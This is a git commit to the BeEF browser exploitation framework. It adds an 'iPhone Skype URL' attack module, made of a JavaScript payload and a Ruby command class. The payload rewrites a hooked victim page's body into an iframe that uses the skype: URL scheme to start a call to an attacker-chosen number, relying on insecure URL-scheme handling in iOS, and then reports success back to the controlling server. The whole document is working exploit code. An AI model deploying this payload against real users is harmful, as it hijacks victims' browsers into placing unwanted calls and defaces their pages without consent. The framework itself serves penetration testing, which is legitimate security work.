issue 149 : iphone skype calling module
git-svn-id: https://beef.googlecode.com/svn/trunk@584 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
5
modules/commands/host/iphone_skype/iphone_skype.js
Normal file
5
modules/commands/host/iphone_skype/iphone_skype.js
Normal file
@@ -0,0 +1,5 @@
|
||||
beef.execute(function() {
|
||||
document.body.innerHTML = "<iframe src=skype:<%= @tel_num %>?call></iframe>";
|
||||
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
|
||||
});
|
||||
46
modules/commands/host/iphone_skype/iphone_skype.rb
Normal file
46
modules/commands/host/iphone_skype/iphone_skype.rb
Normal file
@@ -0,0 +1,46 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Iphone_skype < BeEF::Command
|
||||
|
||||
#
|
||||
# Defines and set up the command module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'iPhone Skype URL',
|
||||
'Description' => 'Utilise Nitesh Dhanjani\'s Insecure Handling of URL Schemes in iOS to try and make the browser execute a skype call',
|
||||
'Category' => 'Host',
|
||||
'Author' => 'xntrik',
|
||||
'Data' =>
|
||||
[
|
||||
[ 'name' => 'tel_num',
|
||||
'ui_label'=>'Skype Number',
|
||||
'value' =>'5551234',
|
||||
'width' => '200px'
|
||||
],
|
||||
],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::S
|
||||
}
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Result'] = @datastore['result']
|
||||
save content
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user